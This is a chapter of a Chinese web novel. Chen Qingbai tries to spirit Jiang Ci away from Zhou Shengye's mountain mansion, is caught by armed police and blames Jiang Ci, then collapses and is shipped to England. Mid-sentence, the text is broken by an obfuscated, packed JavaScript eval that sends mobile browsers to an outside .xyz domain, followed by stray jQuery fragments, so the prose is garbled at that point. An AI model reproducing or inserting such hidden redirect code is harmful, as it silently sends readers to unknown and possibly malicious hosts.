一连落了好几天的雨，山里更冷一些，王妈在房里生起火，铺了两床厚被子，把冬衣都拿了出来。
姜瓷好些天没吃什么东西，整日躺在床上，丢了魂似的，只是发怔，同他说话，他也全都不应。
王妈心里着急，这一日给百杏林拨去电话，请英嬅来一趟。英嬅受糜岭之托，本来每月就要给姜瓷诊脉，今日王妈不请，也该是她上山的日子。
出发前，她在药店门口碰着了陈青柏。陈青柏抓着她手，不着痕迹地把一张纸片塞进她手里，说：“幸亏我来得巧截住了姐姐，否则我还要受罪呢。”
英嬅瞥一眼他身后跟着的两个壮硕的家仆，笑说：“怎么了？又闯了祸叫你舅舅教训了？我这儿有上好的跌打药。”她去药箱里拿药，遮掩着把那张小纸片丢了进去。
陈青柏见状松了口气，说：“倒是没挨打，只是被罚了半个月的零花钱，舅舅还要这两个人跟着我，连酒楼都不让我去了。昨天晚上我没睡好，今天起来头痛，姐姐瞧我是不是在发热？”
英嬅抬手摸摸他额头：“是有些，那我给你抓了药再走。”
她返回店内包了几包药，握住陈青柏的手摇了摇，说：“你放心。”陈青柏对着她用力点点头，坐上车走了。
到金园时正晌午，被佣人领进房里，正看见王妈端着碗坐在床边，苦口婆心地劝姜瓷吃东西。王妈见着她如蒙大赦，招呼着她坐，把碗递到她手里，说：“英大夫您帮我劝劝，我下去做饭，您一会儿吃了饭再走。”
王妈退出去了，屋子里静下来，只有床前那盆炭火时不时噼啪地爆一声。
英嬅吹了吹碗里银耳汤，往姜瓷跟前递，说：“小瓷，你多少吃一点，王妈也是这么大年纪的人了，何必为难她。”
姜瓷也不坐起身迎她，僵在床上一动不动，闷闷地说：“姐姐吃吧，一会儿王妈上来了跟她说是我吃的。”
英嬅叹口气放下了碗：“小瓷，再怎么样，自己的身体总得养好不是？”
姜瓷不应，阖着眼帘似要睡过去，英嬅马上从药箱里寻出那纸条来，说：“青柏让我交给你，他不知犯了什么错惹恼了他舅舅，现在去哪儿都有人跟着，这一段日子大约也不能来瞧你了。”
姜瓷不接，把脸埋进被子里，低声说：“我不识字，姐姐替我看了吧。”
“这……他给你的信，我……”
“没什么不方便，姐姐不用顾虑。”
英嬅便展开纸条扫一眼，“呀”地叫出声来：“小瓷，你要和青柏私奔么！这上面写着，要你今晚别睡觉，等他过来。”
姜瓷探出头来，皱着眉，一把抓过那纸条往火盆里一扔，猩红的火光一下子把纸片燃成了烟灰。
“他自说自话，把我扯进去做什么，谁要跟他走！”他有些恼怒地喊一声，又握住英嬅的手道：“姐姐，你回去叫他别来，还有，不要和别人说起这件事，被周盛业知道了，他饶不了我。”
“你、你当真——”
“我不会跟他走，而且我也走不了，我这辈子就烂在这里了，姐姐。”他眨了眨眼，静静落下两行泪。
“小瓷，我……上一回，我不是有心……”
“姐姐，别说了，你下去吃饭吧，辛苦你来看我，我现在想睡觉了。”
英嬅欲言又止，最后还是什么都没说，起身出去了。在金园吃过饭，下山直奔陈青柏的小公馆，替姜瓷传了话。
陈青柏听后刺刺地问她：“怎么可能？小瓷真的这么说？姐姐莫不是根本没把消息传给他，自己偷偷看了纸条来劝我的？”
英嬅登时耳朵一热，没好气地道：“我——你说的这是什么话！”
“因为我知道小瓷是想走的，他在山上虽然锦衣玉食，可过得是怎么样的腌臜日子？哪个人受得了呢？”
“青柏——”
“是我看错姐姐了，枉费我一番信任。”
英嬅好心喂了驴肝肺，气得脸色铁青，这下也不愿多费口舌，提起药箱便走。她想着陈青柏从小就是个窝囊性子，私奔大约也只是嘴上说说罢了，现在身边还跟着那两个家仆，即便他想上山带姜瓷走，怕也是不能够，于是便没再把这件事放在心上。
可到了晚上，陈青柏到底是跑出小公馆了，借着喝酒的由头灌醉了家仆，背着行李就往金园跑，没走山路，钻进了林子里。
今夜没有月光，倒是给了他便利，即便这林子里有留守的警员，大约也不容易发现他的行踪。他一路上到金园，绕到后院围墙处，腿打着颤早已站不住了，跌在草地上休息，一边摸索起围墙来。
前几日，他满城打听，找到了几个曾经给金园修花园的工匠，得知当初周盛业克扣他们的工钱，于是几人在建围墙时也偷工减料，把东南角一处的墙砌得撞几下就能倒。这会儿他便找到了位置，顶起肩膀往墙上撞，然而直撞得肩膀都要断了，那墙还是纹丝不动的，当下急得心头怦怦直跳，想着莫不是被那些人耍了么？也顾不得那许多，只好轻手轻脚往大门摸，悄悄溜进了屋。上楼走到姜瓷屋外时，正听得时钟敲了三下。
他推门进去，扑到姜瓷床边，轻声叫：“小瓷，小瓷！”
姜瓷迷迷糊糊睁开眼，借着炭盆的一点儿火光，见是他，灰头土脸还背着行囊，立刻惊出一身冷汗，去推他：“你——你放开！你干什么，我不是叫你别来？你疯了吗！”
陈青柏不由分说拽他下床：“我带你走，我们离开这里！”
“陈青柏，我那一天说得还不清楚？我走不出这里，也没有人能带我逃……要是被周盛业抓住了，就算你是陈家的小公子，他也不会放过你！”
“你放心，我们绝不会被发现，我刚才从山下过来，一路都没遇见人，很安全！你信我！”陈青柏仍拽他往门口带。
他踉跄着跌了几跤，与他几番拉扯，放软了态度，哀求般的叫他的名字。陈青柏全然不听，拖着他下了楼梯，走到厅里，摸着黑，撞到了桌椅，?啷喀拉一阵怪响，脚下停了停，正要再迈步，却忽然厅里的灯啪地一亮，惊得两人都往后退了退。
等眼睛适应了光线，姜瓷抬头一瞧，周盛业赫然坐在沙发上，好整以暇，手里夹着支雪茄。另有七八个带枪的警员围在周遭。
姜瓷平日里见惯了这些警员，但现下还是冷汗如瀑，软了腿，更别说陈青柏了，养尊处优的少爷，从没和什么警察什么枪打过交道，登时吓白了脸，心惊肉跳。
好一阵儿谁都不言语，后来陈青柏不知想到了什么，握着拳头，斜着眼狠狠地望望姜瓷。姜瓷一眼就看出他的意思，仿佛听到他在质问自己，是不是提前报过信，才被周盛业在这儿堵个正着。
他心口冷冰冰的，有点儿站不住，往边上挪了挪，轻轻倚在了一张翻倒的桌子上，抖着嘴唇正想叫周盛业，周盛业先一步开口，但没过问他，向陈青柏道：“这么晚了，陈少带着这一位要去哪儿啊？”
陈青柏摸一把额角的汗，咽了咽喉咙，竭力赔出一个笑脸来，要凑到周盛业跟前说话。可只踏出一步，便有两三个警员踏上前来，举起枪抵在了他脑门上。
他一惊，一瞬间仿佛肝胆俱碎，“啊”一声嚎叫起来，一屁股摔在地上，颤颤巍巍抱起拳朝周盛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831026|175568||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
业作揖，哆嗦着一句话讲不出来。一个警员见状，往他身上猛蹬了一脚，喝道：“还不快回答！”
“周、周处长！”他被逼得总算这么喊了一声，涕泗横流，“我糊涂！”
另一个警员不耐地道：“少废话！我们几个弟兄一路跟着你进林子，全都看得清清楚楚！你上山为什么偷偷摸摸？快说今晚上山到底干什么来了！你现在要是不交代，我打死你！你死了，就把你丢林子喂野狗野狼，叫你死无全尸！”说着竟真的拉动枪栓，往陈青柏脚边的地上打了一枪，子弹嘭啪地蹦开来，地上赫然出现一个指头大的洞，冒出淡淡的白烟。
陈青柏被震得恍惚了片刻，连哭都不知道哭了，回过神来，两腿间早已一片湿濡，烘着一股热骚味儿。在一片警员的嬉笑声中，他爬到周盛业脚边，口齿不清地哭诉道：“周处长，不是我，是……是姜瓷，他求我带他离开这里，我就来了，我、我被他勾引了，我一时糊涂啊——”
他颤颤伸出手往姜瓷那儿一指：“都是他的错，是他！否则，我一个好人家的少爷，怎么会想要和他这样下贱的一个人私奔！”
姜瓷晃了晃身子，紧抓着桌子的边缘，指甲都嵌进木头里去，涨红了眼瞪着他，心里真恨刚才那一枪没打在他脑袋上。他恨，但不惊讶，在这五年里，他已经见识过很多次，那些男人们在他的床上说甜言蜜语，下了床就倒打一耙。就连糜岭……也在背地里贬他不是么？
他落下泪来，张了张口想要辩驳，瞥一眼周盛业阴沉的脸，还是把话咽了下去。
周盛业给身侧两个警员使了眼色，那两人便走过去拖走了姜瓷。对上陈青柏，他又换上一副温和的口气，说：“既如此，周某在这给陈少赔不是了，周某这就送陈少下山去。”
陈青柏连连点头，两腿打着颤趔趄爬起来，跟在周盛业身后出了金园。
到了糜公馆，门房毕恭毕敬将几人迎进去。管家瞧见这样的阵仗，立刻去通报。此时还只是早晨六点多钟的光景，糜岭还睡着，过了约一刻钟才急匆匆赶来客厅里，与周盛业寒暄攀谈。
周盛业全不提适才发生的事，只说：“我碰见了陈少，顺路就送他回来了。三少爷，过几日是金园那位的生辰，下午我叫人递帖子过来，三少爷还请赏光去吃酒！”
糜岭点头应下，与他握一握手，送他出了门。他再把陈青柏叫到书房去说话。陈青柏像是痴傻了一般，跪在地上流泪，口涎滴答，裤子还是半潮的。
糜岭一再地追问：“是不是和姜瓷有关？我早跟你说了，不要被他几句话就哄得昏了头！他毕竟是周盛业的人！”
陈青柏把手指抵在唇上一个劲儿“嘘”着，惶惶然四下张望几眼，压低了声音喃喃地说：“小舅舅，是姜瓷，对，就是他，是他的错，不是我……是他、他说他受不了山上的日子，求我带他逃走，对……昨夜我就……谁知碰到了周盛业和他的手下，他们拿枪对着我要杀我！要杀我！啊！”他大叫起来，噌地站起身，在房内跑来跑去，见着什么就抓，抓了再摔打到地上。
糜岭见着他这副疯样，只觉得不好，叫了几个佣人制住他，赶忙让管家拨电话请英嬅。可英嬅才受过陈青柏的气，哪里肯去，甚至没听管家把话说完就借口太忙拒绝了。糜岭只好又请了一位西医来瞧。
医生赶了来，看着陈青柏瑟瑟发抖地躲在床角，嘴里念念有词，就说他这是患了“精神崩溃症”，到国外去医治，或许还有恢复的希望。
这样的丑闻假如传出去，陈家真要沦为全香港的笑柄了。糜岭思虑再三，当晚就安排陈青柏坐上了去英国的轮船。